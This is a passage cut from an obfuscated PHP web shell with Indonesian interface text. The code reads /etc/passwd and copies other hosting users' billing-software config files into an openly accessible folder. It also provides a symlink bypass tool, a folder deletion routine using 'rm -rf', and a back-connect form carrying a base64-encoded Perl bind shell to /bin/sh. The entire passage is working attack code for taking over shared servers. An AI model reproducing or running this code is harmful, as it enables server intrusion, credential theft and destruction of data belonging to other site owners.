"\x2f\150\x6f\155\x65\x2f{$user_con}\57\x70\165\142\154\151\x63\x5f\150\164\x6d\154\57\151\156\x63\x6c\x75\144\145\x73\x2f\151\163\157\x34\62\61\x37\x2e\160\x68\x70" => "\x48\157\163\164\x62\151\154\x6c\163", "\x2f\x68\x6f\x6d\x65\57{$user_con}\x2f\160\x75\x62\154\151\143\x5f\x68\164\x6d\154\x2f\150\x6f\x73\x74\142\x69\154\154\x73\x2f\x69\156\x63\x6c\x75\144\145\x73\x2f\151\x73\x6f\64\62\x31\67\x2e\x70\150\160" => "\x48\x6f\163\x74\142\x69\x6c\x6c\163", "\57\x68\x6f\155\x65\x2f{$user_con}\x2f\160\165\142\x6c\151\x63\137\x68\x74\x6d\x6c\57\x68\157\x73\164\57\x69\156\143\154\165\x64\x65\163\57\x69\x73\x6f\x34\x32\61\67\56\x70\x68\160" => "\x48\157\x73\x74\142\151\154\154\163", "\57\150\x6f\155\145\57{$user_con}\57\x70\x75\142\x6c\151\x63\137\150\x74\x6d\x6c\57\110\157\x73\x74\x2f\151\x6e\x63\x6c\x75\144\x65\163\x2f\151\x73\x6f\x34\62\61\x37\x2e\x70\150\x70" => "\x48\157\x73\x74\x62\x69\x6c\x6c\x73", "\57\x68\x6f\x6d\145\57{$user_con}\57\160\165\142\x6c\151\143\x5f\x68\x74\x6d\x6c\x2f\163\165\x70\160\157\x72\164\x65\x73\57\151\156\143\154\165\144\145\163\x2f\151\163\x6f\x34\62\x31\67\x2e\x70\x68\x70" => "\110\x6f\x73\x74\142\151\154\x6c\163", "\x2f\150\x6f\x6d\145\x2f{$user_con}\57\x70\165\142\154\151\143\137\150\164\x6d\154\57\163\x75\x70\160\157\x72\x74\57\151\x6e\143\x6c\x75\x64\x65\163\57\x69\x73\157\64\x32\x31\x37\56\160\150\160" => "\110\x6f\163\x74\142\151\154\154\x73", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\57\x70\x75\142\154\151\x63\x5f\x68\x74\x6d\x6c\57\150\157\x73\x74\x69\x6e\x67\57\x69\156\143\x6c\165\x64\145\x73\x2f\151\163\157\x34\62\x31\x37\x2e\160\x68\160" => "\x48\x6f\x73\x74\142\151\154\x6c\163", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\57\x70\x75\x62\154\x69\143\x5f\x68\x74\x6d\x6c\x2f\x63\141\162\x74\57\x69\x6e\x63\154\x75\144\145\x73\57\x69\163\157\64\62\61\x37\56\160\150\x70" => "\110\x6f\x73\164\142\151\x6c\154\163", "\x2f\150\x6f\x6d\145\57{$user_con}\57\160\x75\x62\x6c\151\143\137\150\164\x6d\x6c\57\157\x72\144\x65\162\x2f\x69\x6e\143\x6c\x75\144\x65\163\x2f\x69\x73\x6f\x34\x32\61\67\x2e\x70\150\x70" => "\x48\157\x73\x74\x62\151\154\x6c\163", "\57\x68\x6f\x6d\145\x2f{$user_con}\x2f\x70\x75\x62\154\x69\x63\137\x68\x74\155\154\x2f\x63\154\x69\145\x6e\164\57\151\x6e\x63\x6c\x75\x64\x65\163\x2f\151\163\157\64\62\x31\x37\x2e\160\150\160" => "\x48\x6f\163\164\x62\151\154\154\x73", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\x70\165\x62\x6c\x69\x63\137\150\164\155\154\x2f\x63\154\151\x65\156\x74\163\x2f\x69\156\x63\154\165\x64\145\x73\x2f\151\x73\x6f\x34\x32\x31\x37\x2e\x70\150\x70" => "\x48\x6f\163\164\142\x69\x6c\x6c\x73", "\57\150\157\x6d\145\x2f{$user_con}\57\160\165\142\x6c\x69\143\137\x68\x74\x6d\x6c\57\x63\154\151\x65\x6e\x74\145\x2f\151\x6e\x63\154\x75\144\145\x73\57\x69\x73\157\x34\x32\x31\x37\x2e\x70\150\x70" => "\x48\x6f\x73\x74\x62\151\154\154\x73", "\x2f\x68\157\155\145\x2f{$user_con}\57\x70\165\x62\x6c\151\143\x5f\150\164\x6d\154\57\143\154\x69\145\x6e\164\x65\x73\x2f\151\x6e\143\154\165\144\145\163\57\151\x73\157\64\x32\61\x37\x2e\x70\x68\x70" => "\110\157\x73\x74\x62\x69\154\x6c\163", "\57\150\157\155\145\57{$user_con}\57\x70\165\142\x6c\151\143\x5f\x68\164\155\154\x2f\x62\x69\x6c\x6c\x69\x6e\x67\57\x69\x6e\143\x6c\165\x64\x65\163\57\151\163\x6f\64\x32\x31\x37\x2e\x70\x68\x70" => "\x48\x6f\163\164\x62\x69\154\x6c\x73", "\x2f\150\x6f\155\x65\57{$user_con}\x2f\x70\x75\142\x6c\x69\x63\137\x68\x74\x6d\154\57\x62\151\x6c\x6c\151\156\x67\163\x2f\151\x6e\143\x6c\165\144\145\163\x2f\x69\163\157\64\62\61\67\x2e\160\150\x70" => "\x48\157\163\x74\142\x69\154\154\x73", "\x2f\x68\157\x6d\145\x2f{$user_con}\x2f\160\165\x62\154\151\x63\x5f\x68\x74\155\154\x2f\x6d\171\57\x69\156\x63\x6c\x75\x64\x65\x73\57\x69\x73\157\x34\x32\61\x37\x2e\160\x68\x70" => "\x48\157\x73\164\142\x69\x6c\x6c\163", "\x2f\150\x6f\x6d\x65\x2f{$user_con}\x2f\x70\165\x62\x6c\x69\143\x5f\x68\x74\155\154\x2f\x73\x65\143\x75\x72\145\57\151\156\x63\154\x75\144\145\163\57\x69\163\x6f\x34\x32\x31\x37\x2e\160\150\x70" => "\110\157\x73\164\142\151\x6c\x6c\x73", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\160\x75\x62\154\151\143\137\150\164\x6d\154\x2f\x73\165\x70\x70\x6f\162\x74\57\x6f\x72\144\145\x72\57\151\x6e\143\x6c\x75\144\x65\x73\x2f\x69\x73\157\64\x32\x31\67\x2e\160\x68\x70" => "\110\157\x73\x74\x62\x69\x6c\x6c\163"); foreach ($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if ($ambil_config == '') { } else { $file_config = fopen("\x69\156\144\157\163\x65\143\137\x63\157\x6e\146\151\x67\x2f{$user_con}\x2d{$nama_config}\x2e\164\x78\x74", "\167"); fputs($file_config, $ambil_config); } } } } goto TbpyU; qn76W: mkdir("\x69\156\144\x6f\x73\x65\x63\137\143\x6f\156\146\151\x67", 0777); goto Iv9Cc; Iv9Cc: $isi_htc = "\x4f\x70\164\151\157\x6e\x73\x20\x61\x6c\x6c\156\122\x65\x71\x75\151\x72\145\40\116\157\x6e\x65\x6e\123\141\164\151\x73\x66\171\x20\x41\156\x79"; goto rjGk8; rjGk8: $htc = fopen("\151\x6e\144\157\163\x65\x63\137\143\157\156\146\x69\x67\57\x2e\x68\164\x61\x63\x63\145\163\163", "\x77"); goto nao8G; nugCa: $passwd = $_POST["\x70\141\x73\163\x77\x64"]; goto qn76W; TbpyU: echo "\x3c\160\40\x63\154\x61\x73\x73\75\47\x74\x65\x78\164\55\x63\145\x6e\164\145\x72\47\x3e\x53\165\143\143\x65\163\163\x20\107\145\x74\x20\x43\x6f\156\x66\151\x67\41\x21\x3c\57\x70\76\xd\12\x9\11\74\x61\40\x68\162\145\x66\75\47\x3f\x64\151\x72\x3d{$dir}\57\151\156\x64\x6f\163\x65\x63\137\143\157\156\146\x69\x67\x27\40\143\x6c\x61\163\163\75\x27\x62\x74\156\40\142\164\156\55\x73\165\x63\143\x65\x73\163\40\142\164\x6e\x2d\142\x6c\x6f\x63\153\40\x6d\142\x2d\64\x27\76\103\x6c\x69\143\153\x20\110\x65\162\x65\x3c\57\x61\76"; goto OebPs; QkopM: preg_match_all("\57\50\x2e\x2a\77\51\72\x78\72\x2f", $passwd, $user_config); goto tBTEG; nao8G: fwrite($htc, $isi_htc); goto QkopM; OebPs: } else { echo "\x3c\146\x6f\162\155\x20\x6d\x65\x74\150\x6f\x64\75\47\160\x6f\163\164\x27\76\15\12\x9\11\x9\74\x70\40\143\x6c\141\x73\x73\x3d\x27\164\x65\x78\164\55\144\x61\156\147\145\x72\x27\x3e\57\x65\x74\x63\x2f\160\141\163\x73\167\144\40\x65\162\162\x6f\x72\40\x3f\x20\x20\74\141\x20\x68\162\145\x66\x3d\x27\x3f\144\x69\x72\x3d{$dir}\46\141\x6b\x73\x69\x3d\160\141\x73\163\167\142\x79\160\141\x73\163\47\76\102\171\x70\141\163\163\40\x48\x65\162\x65\74\x2f\x61\x3e\74\57\160\x3e\15\xa\11\11\11\74\164\145\x78\164\141\162\145\141\40\156\x61\155\x65\75\x27\160\141\163\163\167\x64\x27\x20\x63\x6c\x61\163\163\x3d\47\x66\157\x72\x6d\55\143\157\x6e\164\x72\x6f\x6c\x27\40\x72\157\x77\163\75\x27\61\63\47\x3e" . file_get_contents("\57\145\x74\x63\x2f\160\x61\163\x73\x77\144") . "\74\x2f\164\x65\170\x74\141\x72\145\141\x3e\74\142\162\x2f\76\xd\xa\11\11\x9\x3c\x69\x6e\160\x75\x74\40\x74\171\x70\x65\75\47\x73\165\142\155\x69\164\x27\40\x63\x6c\141\x73\x73\x3d\x27\142\x74\x6e\40\142\164\156\x2d\x64\141\x6e\147\x65\x72\x20\142\164\x6e\55\x62\x6c\157\x63\x6b\47\40\166\x61\x6c\165\145\x3d\x27\x47\x65\164\x20\x43\157\156\x66\x69\x67\41\x21\x27\76\15\12\x9\11\74\57\x66\x6f\162\x6d\x3e"; } exit; } goto CEE4C; cJZq9: function symBypass($dir, $file) { goto VFFiQ; waygV: if (isset($_GET["\x73\x61\166\145"]) and isset($_POST["\146\151\154\145"]) or @filesize("\x70\141\163\x73\167\144\56\164\x78\x74") > 0) { goto qoQUK; qoQUK: $cont = stripcslashes($_POST["\x66\151\154\145"]); goto TsPS9; TsPS9: if (!file_exists("\160\x61\x73\163\167\x64\x2e\164\x78\164")) { goto jmhkM; i7jiD: fclose($f); goto cUscH; jmhkM: $f = @fopen("\x70\x61\x73\x73\167\144\56\164\170\x74", "\167"); goto VAVOU; VAVOU: $w = @fwrite($f, $cont); goto i7jiD; cUscH: } goto NsggK; NsggK: if ($w or @filesize("\x70\141\x73\163\167\144\56\x74\170\164") > 0) { goto JtGCV; sdmIZ: foreach ($fil3 as $f) { goto FI1gJ; YjZib: $user = $u["\60"]; goto P6DYd; upT1i: flush(); goto z5zdt; P6DYd: echo "\74\x74\x72\x3e\xd\xa\x9\11\11\x9\11\x9\74\164\x64\40\x63\154\x61\163\163\75\x27\x74\145\x78\164\x2d\154\x65\x66\x74\x20\x70\154\55\61\x27\x3e{$user}\74\x2f\164\x64\76\15\12\x9\x9\x9\x9\11\11\74\164\x64\x3e\74\141\x20\x68\x72\x65\146\75\47{$full}\57\163\171\155\57\x72\x6f\157\164\57\150\157\155\145\x2f{$user}\x2f\160\x75\142\154\x69\143\x5f\150\x74\155\154\x27\x20\x74\141\x72\x67\x65\164\x3d\x27\137\142\x6c\x61\x6e\153\47\x3e\x53\x79\x6d\x6c\151\156\153\40\x3c\x2f\141\76\x3c\57\x74\144\76\xd\xa\x9\11\11\11\x9\x9\74\164\x64\76\74\141\x20\x68\162\x65\x66\x3d\47{$pageFTP}\57\163\x79\x6d\57\x72\x6f\157\x74\x2f\150\157\155\x65\x2f{$user}\57\x70\165\x62\x6c\151\x63\x5f\x68\x74\155\154\x27\40\164\141\x72\147\145\x74\x3d\47\x5f\x62\x6c\x61\x6e\x6b\47\x3e\x46\124\x50\74\x2f\x61\x3e\x3c\x2f\164\x64\76\xd\xa\11\x9\11\11\11\74\57\x74\x72\x3e"; goto zYUgO; zYUgO: flush(); goto upT1i; FI1gJ: $u = explode("\x3a", $f); goto YjZib; z5zdt: } goto eiKBR; JtGCV: echo "\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\x27\164\155\160\x27\x3e\15\xa\11\x9\x9\74\x74\141\x62\154\x65\x20\x77\x69\x64\x74\x68\x3d\47\x31\x30\60\45\47\40\x63\x6c\x61\163\x73\x3d\x27\x74\145\170\164\55\x63\x65\156\164\145\x72\x20\164\141\142\154\145\x2d\162\x65\x73\x70\157\156\x73\x69\x76\145\x20\x6d\142\x2d\64\47\76\15\12\11\x9\11\x9\x3c\164\x68\145\141\144\x20\143\154\x61\163\x73\x3d\47\x62\147\x2d\151\156\x66\x6f\x27\76\xd\xa\11\x9\x9\11\x9\x3c\164\150\x3e\125\x73\x65\162\163\x3c\57\164\150\x3e\15\12\11\x9\11\11\11\x3c\x74\x68\x3e\x73\171\155\154\x69\x6e\153\74\x2f\164\150\76\15\xa\11\x9\x9\x9\x9\x3c\x74\150\x3e\x46\x54\120\x3c\x2f\x74\x68\76\15\12\x9\x9\x9\11\74\x2f\164\150\145\x61\144\x3e"; goto es0zi; es0zi: flush(); goto xFxkq; eiKBR: echo "\74\57\164\x72\76\74\x2f\x74\x61\x62\x6c\x65\x3e\74\x2f\x64\x69\x76\x3e"; goto OMLek; OMLek: die; goto E9haP; xFxkq: $fil3 = file("\x70\141\163\163\x77\144\56\x74\x78\x74"); goto sdmIZ; E9haP: } goto qBVqd; qBVqd: } goto fslQi; peSvj: flush(); goto bfqpg; uThZ0: $u = explode("\x2f", $pageFTP); goto G2v3G; B4zfk: exit; goto Xs51z; G2v3G: $pageFTP = str_replace($u[count($u) - 1], '', $pageFTP); goto waygV; DCRtu: $r3ad = @fopen($file, "\x72"); goto Bytln; fslQi: echo "\x72\x65\x61\144\x20\x2f\145\164\143\x2f\160\141\x73\x73\167\144\x20\x3c\x66\157\156\164\x20\143\x6f\x6c\x6f\x72\x3d\x27\162\145\x64\47\x3e\145\162\162\157\x72\40\77\40\x20\74\x2f\x66\157\156\164\x3e\74\x61\x20\150\162\145\146\75\x27\x3f\x64\x69\162\75" . $dir . "\x26\x61\x6b\x73\x69\x3d\x70\x61\x73\163\167\142\171\x70\x61\163\x73\47\76\x42\171\160\x61\163\x73\x20\110\x65\x72\145\74\x2f\141\x3e\xd\xa\11\74\x66\x6f\x72\x6d\40\155\x65\x74\150\157\144\x3d\47\160\x6f\x73\164\x27\40\141\143\164\x69\157\x6e\x3d\47\77\x64\x69\x72\75{$dir}\46\141\153\x73\151\75\x73\x79\x6d\137\142\171\160\x61\163\x26\163\x61\166\x65\x3d\x31\47\76\15\12\x9\11\x3c\164\x65\x78\164\141\162\x65\141\x20\x63\x6c\x61\x73\163\x3d\47\146\x6f\x72\x6d\55\143\x6f\x6e\x74\x72\x6f\x6c\x27\40\x72\x6f\x77\163\75\x27\61\x33\x27\40\x6e\x61\155\x65\75\47\146\x69\x6c\145\47\x3e"; goto UP_ZR; bfqpg: echo "\74\x2f\164\x65\170\164\141\162\x65\141\x3e\x3c\142\x72\57\76\15\12\x9\x9\74\151\x6e\x70\x75\x74\40\x74\171\x70\145\75\47\x73\165\x62\x6d\151\164\x27\40\x63\x6c\141\163\163\x3d\47\142\x74\156\x20\142\x74\x6e\55\x64\141\156\x67\145\x72\40\142\x74\156\x2d\142\x6c\157\143\x6b\x27\40\x76\x61\154\165\145\x3d\47\x53\171\155\x6c\151\156\x6b\x27\57\76\xd\12\x9\x3c\x2f\146\157\162\155\76"; goto IV72R; j08gL: $file = "\x2f\x65\164\143\57\x70\x61\163\x73\x77\144"; goto DCRtu; Bytln: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } elseif (!$r3ad) { $r3ad = @show_source($file); } elseif (!$r3ad) { $r3ad = @highlight_file($file); } elseif (!$r3ad) { for ($uid = 0; $uid < 1000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}\x3a"; } print "\xa"; } } } goto peSvj; wk2PM: $pageFTP = "\x66\164\160\x3a\x2f\57" . $_SERVER["\123\105\x52\x56\x45\x52\x5f\x4e\101\115\105"] . "\x2f\160\x75\x62\x6c\x69\143\x5f\x68\164\x6d\x6c\x2f" . $_SERVER["\x52\105\121\x55\105\123\x54\x5f\x55\x52\111"]; goto uThZ0; UP_ZR: flush(); goto j08gL; VFFiQ: $full = str_replace($_SERVER["\x44\x4f\103\x55\115\x45\x4e\x54\137\x52\117\117\x54"], '', $dir); goto wk2PM; IV72R: flush(); goto B4zfk; Xs51z: } goto ZPGPQ; R6uAn: function deleteFolder($dir, $ndir) { goto X4SNU; bEvdN: exit; goto BrdMD; KJrar: if ($_POST["\171\141"]) { if (is_dir($dir)) { if (is_writable($dir)) { goto FbZkR; YN2Vv: $swa = "\x73\x75\x63\x63\x65\x73\163"; goto yEJg3; yEJg3: $text = "\x42\145\162\150\x61\x73\x69\154\x20\115\x65\x6e\147\150\x61\160\x75\x73"; goto YztUu; YztUu: $dir = dirname($dir); goto fQFi9; VBzMw: @exe("\x72\x6d\40\x2d\162\146\x20{$dir}"); goto ip82N; ip82N: @exe("\162\x6d\x64\x69\x72\x20\x2f\163\x20\x2f\x71\x20{$dir}"); goto YN2Vv; FbZkR: @rmdir($dir); goto VBzMw; fQFi9: swall($swa, $text, $dir); goto Ppq5c; Ppq5c: } else { goto LyLDU; LyLDU: $swa = "\145\x72\x72\157\162"; goto kjymN; kjymN: $text = "\102\145\x72\150\141\163\151\x6c\x20\115\145\x6e\147\x68\x61\x70\x75\x73"; goto gklM9; gklM9: $dir = dirname($dir); goto CrxcZ; CrxcZ: swall($swa, $text, $dir); goto WmrCW; WmrCW: } } } goto bEvdN; X4SNU: echo "\x5b\x20\x3c\x61\40\150\162\145\146\75\47\77\144\151\x72\x3d" . $dir . "\46\141\x6b\x73\x69\75\x72\x65\156\x61\x6d\x65\137\146\x6f\154\144\x65\x72\47\76\x52\x65\156\141\155\x65\74\57\x61\x3e\x20\135\x20\x20\133\x20\x3c\x61\x20\x68\162\x65\x66\x3d\47\77\x64\151\162\75" . $dir . "\46\141\153\163\151\x3d\150\x61\160\x75\x73\x5f\146\157\x6c\x64\x65\162\x27\40\143\154\x61\x73\163\x3d\47\141\143\x74\x69\x76\x65\x27\76\104\x65\154\x65\164\x65\74\57\141\76\x20\135\40\xd\xa\11\x3c\x64\x69\166\x20\x63\154\141\163\163\75\47\x63\141\162\x64\x20\x63\141\162\x64\55\x62\157\144\x79\x20\164\145\x78\164\55\143\145\156\x74\145\162\x20\164\x65\170\164\55\144\141\162\153\x20\155\x62\x2d\64\47\x3e\xd\12\x9\11\74\x70\76\x41\x70\x61\x6b\x61\150\x20\x59\141\153\x69\x6e\x20\115\145\x6e\147\x68\x61\160\165\x73\x20\x3a\40{$ndir}\40\x3f\74\x2f\160\76\15\xa\11\11\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\144\x3d\47\x50\x4f\x53\124\47\x3e\xd\xa\x9\11\x9\x3c\141\x20\143\154\141\x73\163\x3d\x27\142\x74\156\40\142\164\156\55\x64\x61\x6e\147\x65\162\x20\142\164\156\x2d\x62\154\157\x63\153\47\x20\x68\x72\x65\146\75\x27\77\144\151\162\x3d" . dirname($dir) . "\47\x3e\x54\151\x64\141\x6b\x3c\57\141\x3e\xd\12\11\x9\11\74\x69\x6e\160\165\x74\40\x74\x79\x70\x65\75\x27\163\165\x62\x6d\x69\164\x27\x20\x6e\141\155\145\75\47\x79\x61\47\x20\x63\x6c\x61\163\x73\x3d\x27\142\x74\x6e\x20\142\x74\x6e\x2d\163\x75\x63\x63\145\x73\163\40\142\x74\156\x2d\142\x6c\157\x63\x6b\x27\x20\x76\x61\x6c\165\145\x3d\x27\x59\x61\47\x3e\xd\xa\x9\11\x3c\x2f\146\x6f\162\155\x3e\xd\xa\x9\74\57\144\151\x76\76\74\x62\x72\x2f\76"; goto KJrar; BrdMD: } goto sZUYH; ojXWH: $ds = @ini_get("\x64\151\x73\x61\x62\154\x65\137\146\165\156\x63\164\x69\x6f\x6e\163"); goto pk13s; ZPGPQ: function bcTool($dir, $file) { goto d2Dnb; GSRHx: exit; goto Qx_wV; d2Dnb: echo "\x3c\150\64\40\143\154\141\163\x73\x3d\47\x74\145\x78\164\55\143\145\x6e\164\x65\162\x20\x6d\x62\x2d\x34\47\x3e\102\141\143\x6b\x20\x43\157\x6e\156\x65\143\x74\x20\x54\157\157\154\x73\x3c\x2f\150\x34\x3e\xd\xa\11\x3c\146\x6f\162\155\40\155\x65\x74\x68\x6f\x64\75\x27\x70\157\163\x74\x27\x3e\xd\12\x9\x9\x3c\x64\151\166\40\143\154\141\163\163\x3d\x27\x72\x6f\x77\x27\76\15\xa\x9\x9\x9\74\144\151\x76\x20\x63\154\141\163\x73\x3d\47\143\157\154\x2d\x6d\144\55\x31\x30\x27\x3e\15\xa\11\x9\11\11\74\163\x70\x61\156\76\x42\151\x6e\144\x20\x70\157\x72\x74\x20\x74\157\40\x2f\x62\x69\156\x2f\163\x68\40\x5b\x50\x65\162\154\135\74\57\163\x70\141\156\76\74\142\162\x2f\x3e\xd\12\x9\11\11\x9\74\154\x61\142\145\x6c\76\120\x6f\162\164\x20\72\74\x2f\x6c\x61\x62\145\154\x3e\15\12\11\11\x9\x9\x3c\144\151\x76\x20\x63\x6c\x61\x73\x73\75\47\146\x6f\162\x6d\55\147\162\x6f\165\160\x20\x69\156\x70\x75\164\x2d\147\x72\157\165\160\x20\155\142\55\x34\x27\x3e\xd\xa\x9\x9\x9\x9\x9\74\151\x6e\x70\165\164\40\x74\171\160\145\75\47\x74\145\x78\x74\x27\x20\156\x61\x6d\x65\x3d\47\x70\157\162\164\x27\40\x63\x6c\141\x73\163\75\47\x66\157\162\x6d\x2d\143\x6f\156\164\x72\x6f\x6c\x27\40\x76\x61\154\165\145\x3d\47\x36\x39\66\71\47\x3e\xd\xa\11\11\11\11\11\74\151\x6e\x70\165\164\40\164\x79\x70\145\75\47\163\x75\142\155\151\x74\x27\40\x6e\x61\x6d\x65\75\x27\x62\x70\x6c\x27\40\143\154\141\163\163\75\47\142\x74\156\40\x62\x74\x6e\55\144\141\x6e\x67\145\x72\40\146\157\x72\x6d\55\143\x6f\156\164\x72\x6f\x6c\x27\x20\x76\x61\x6c\x75\145\75\47\x52\145\163\145\162\x76\145\47\76\xd\xa\11\11\11\11\74\57\x64\151\x76\76\xd\12\x9\11\x9\11\x3c\x68\65\x3e\102\141\143\153\55\x43\x6f\x6e\156\145\143\164\x3c\57\150\65\x3e\xd\xa\11\11\x9\11\74\154\141\x62\145\x6c\76\123\145\162\166\145\x72\x20\x3a\x3c\x2f\154\141\142\x65\x6c\76\xd\12\11\x9\x9\11\x3c\x69\156\160\165\x74\40\x74\x79\x70\145\x3d\47\164\x65\x78\x74\x27\x20\156\x61\x6d\145\x3d\x27\x73\145\x72\166\x65\162\x27\x20\143\x6c\x61\163\163\75\x27\146\x6f\x72\155\55\143\x6f\x6e\x74\162\x6f\154\40\x6d\x62\x2d\63\47\x20\x70\x6c\141\143\x65\150\157\x6c\144\145\162\75\x27" . $_SERVER["\x52\x45\x4d\117\x54\x45\137\x41\x44\x44\122"] . "\x27\x3e\15\xa\x9\11\x9\11\x3c\x6c\141\x62\145\154\x3e\x50\157\x72\164\40\72\x3c\57\x6c\141\x62\x65\154\76\15\xa\11\x9\11\x9\74\144\151\x76\40\143\154\141\x73\163\75\x27\x66\x6f\162\x6d\x2d\147\162\x6f\165\160\x20\x69\x6e\x70\x75\x74\x2d\147\162\x6f\165\x70\40\x6d\142\x2d\64\47\x3e\xd\12\x9\11\11\x9\x9\74\151\156\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x27\40\x6e\x61\x6d\x65\x3d\47\x70\157\x72\x74\x27\x20\x63\x6c\141\x73\x73\75\47\146\x6f\x72\155\55\x63\157\156\164\x72\157\154\x27\x20\160\x6c\141\x63\x65\x68\157\x6c\x64\x65\x72\x3d\x27\64\x34\x33\x27\x3e\xd\xa\11\11\x9\x9\x9\x3c\163\x65\x6c\x65\x63\x74\x20\x63\154\x61\163\x73\x3d\x27\146\x6f\x72\x6d\x2d\x63\x6f\x6e\x74\162\x6f\154\47\40\156\141\x6d\x65\75\x27\x62\x61\x63\x6b\143\x6f\156\x6e\145\143\164\x27\76\xd\12\11\11\11\11\11\x9\x3c\x6f\x70\x74\151\157\156\40\x76\x61\154\165\x65\x3d\x27\x70\x65\x72\154\47\76\120\x65\162\x6c\74\57\157\160\x74\151\x6f\x6e\x3e\xd\12\x9\x9\x9\11\x9\x9\74\x6f\160\164\x69\157\156\x20\x76\x61\x6c\x75\145\x3d\47\x70\x68\x70\x27\x3e\120\110\x50\x3c\x2f\157\x70\x74\x69\x6f\x6e\76\15\xa\x9\11\x9\x9\x9\x9\x3c\x6f\160\x74\x69\157\156\40\x76\x61\154\x75\145\75\x27\160\171\164\150\157\156\x27\76\x50\x79\x74\x68\157\156\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xd\xa\11\11\x9\x9\x9\11\x3c\157\x70\x74\151\x6f\156\40\x76\141\154\x75\145\75\x27\162\x75\142\171\47\x3e\122\165\142\x79\74\x2f\x6f\160\164\151\x6f\156\x3e\xd\xa\11\11\11\x9\11\74\57\x73\145\x6c\x65\x63\164\x3e\15\12\11\11\11\11\74\x2f\x64\x69\166\76\15\xa\x9\11\11\x9\74\151\156\x70\165\164\40\x74\x79\160\x65\x3d\47\163\165\142\x6d\151\x74\x27\40\143\154\141\x73\x73\75\47\142\164\156\40\x62\164\156\x2d\144\x61\x6e\147\x65\x72\40\x62\164\156\x2d\x62\154\x6f\x63\153\x27\x20\166\141\154\165\x65\75\47\x43\157\156\156\x65\x63\x74\x27\x3e\15\xa\11\x9\x9\74\57\144\151\x76\76\15\xa\x9\x9\74\57\x64\151\x76\76\xd\xa\x9\74\x2f\x66\157\162\x6d\76"; goto r26J2; r26J2: if ($_POST["\x62\160\x6c"]) { goto DCA6N; n2sr4: sleep(1); goto qSF3i; DCA6N: $bp = base64_decode("\x49\171\x45\166\144\130\116\171\x4c\x32\112\x70\142\151\71\167\x5a\130\x4a\163\x44\121\x6f\x6b\125\x30\x68\x46\x54\105\167\x39\111\x69\x39\151\141\127\x34\x76\143\62\x67\147\114\127\x6b\151\x4f\x77\60\x4b\x61\127\x59\x67\113\x45\102\x42\125\153\x64\127\111\x44\167\x67\x4d\x53\153\x67\x65\x79\x42\x6c\x65\107\154\x30\113\104\x45\160\117\171\x42\x39\104\x51\x70\61\143\62\125\147\125\62\x39\x6a\141\62\x56\x30\x4f\x77\60\113\x63\x32\71\x6a\141\62\126\x30\113\x46\x4d\x73\x4a\154\102\107\x58\60\x6c\117\x52\x56\x51\x73\x4a\x6c\116\x50\x51\60\x74\x66\125\61\x52\123\x52\125\106\x4e\114\107\144\x6c\x64\x48\102\x79\142\x33\122\166\131\156\154\x75\131\127\x31\154\x4b\x43\x64\60\x59\x33\101\x6e\113\x53\153\x67\x66\110\167\147\132\107\154\154\111\103\x4a\104\x59\127\x35\60\x49\107\116\171\x5a\127\x46\60\132\x53\x42\172\142\62\116\162\x5a\130\x52\143\142\x69\111\x37\x44\121\160\x7a\x5a\x58\x52\x7a\142\62\116\x72\x62\x33\x42\x30\113\x46\x4d\x73\125\60\71\x4d\x58\x31\x4e\120\121\x30\164\x46\x56\x43\x78\124\x54\61\x39\123\122\x56\126\x54\122\125\x46\x45\x52\106\x49\x73\x4d\123\153\67\x44\121\x70\x69\x61\x57\x35\x6b\x4b\106\115\163\x63\x32\x39\x6a\x61\62\x46\x6b\132\110\112\146\141\127\x34\157\x4a\x45\106\123\122\x31\132\142\115\x46\60\163\123\x55\65\102\x52\x45\122\x53\x58\x30\106\117\127\x53\x6b\x70\111\110\170\70\x49\107\122\x70\x5a\x53\x41\x69\x51\62\x46\165\x64\x43\102\166\143\x47\x56\x75\x49\110\x42\166\x63\x6e\122\143\142\151\x49\x37\104\x51\160\163\141\130\x4e\x30\x5a\127\x34\x6f\125\171\167\172\113\123\x42\70\146\x43\x42\153\x61\127\125\x67\x49\153\116\150\x62\x6e\x51\x67\x62\x47\x6c\172\144\107\x56\165\111\x48\x42\166\x63\156\122\143\x62\x69\111\x37\x44\121\x70\63\141\x47\x6c\163\132\123\x67\x78\113\x53\x42\67\104\121\x6f\112\x59\x57\x4e\152\x5a\130\x42\60\113\105\x4e\x50\124\x6b\x34\x73\x55\x79\x6b\67\104\121\157\x4a\141\127\131\157\x49\x53\x67\x6b\x63\107\154\x6b\120\127\132\166\x63\155\163\x70\113\x53\102\67\104\x51\x6f\x4a\x43\127\x52\160\x5a\123\x41\x69\121\x32\106\165\142\x6d\x39\x30\x49\107\132\x76\x63\155\x73\151\111\x47\x6c\155\x49\103\147\x68\132\107\x56\x6d\141\127\65\x6c\x5a\103\101\153\x63\107\154\153\x4b\x54\163\x4e\x43\x67\x6b\112\142\63\x42\154\142\x69\102\x54\126\x45\122\x4a\x54\151\167\151\120\x43\132\x44\x54\x30\x35\x4f\x49\x6a\163\x4e\103\147\153\x4a\x62\x33\102\x6c\142\151\102\124\x56\x45\122\x50\x56\126\121\x73\x49\152\x34\155\121\x30\x39\117\x54\x69\x49\x37\x44\x51\x6f\112\x43\x57\x39\167\x5a\x57\x34\x67\125\61\x52\x45\x52\126\x4a\123\114\103\x49\x2b\112\153\116\120\x54\x6b\64\151\117\x77\60\x4b\x43\121\154\154\x65\107\x56\x6a\111\x43\122\124\123\x45\126\x4d\124\x43\x42\x38\x66\103\x42\x6b\141\127\x55\147\143\110\112\160\142\156\x51\x67\121\x30\71\117\124\x69\x41\151\x51\62\x46\x75\x64\103\x42\154\x65\107\126\x6a\x64\130\x52\154\111\x43\x52\124\123\105\126\x4d\x54\106\x78\165\111\x6a\x73\116\x43\147\153\x4a\x59\62\x78\166\x63\x32\x55\x67\121\x30\71\117\124\x6a\163\116\103\x67\x6b\x4a\x5a\130\x68\x70\144\x43\x41\x77\x4f\x77\60\x4b\103\130\x30\116\103\156\60\75"); goto bPw0A; z7_iB: fwrite($brt, $bp); goto IDOhD; bPw0A: $brt = 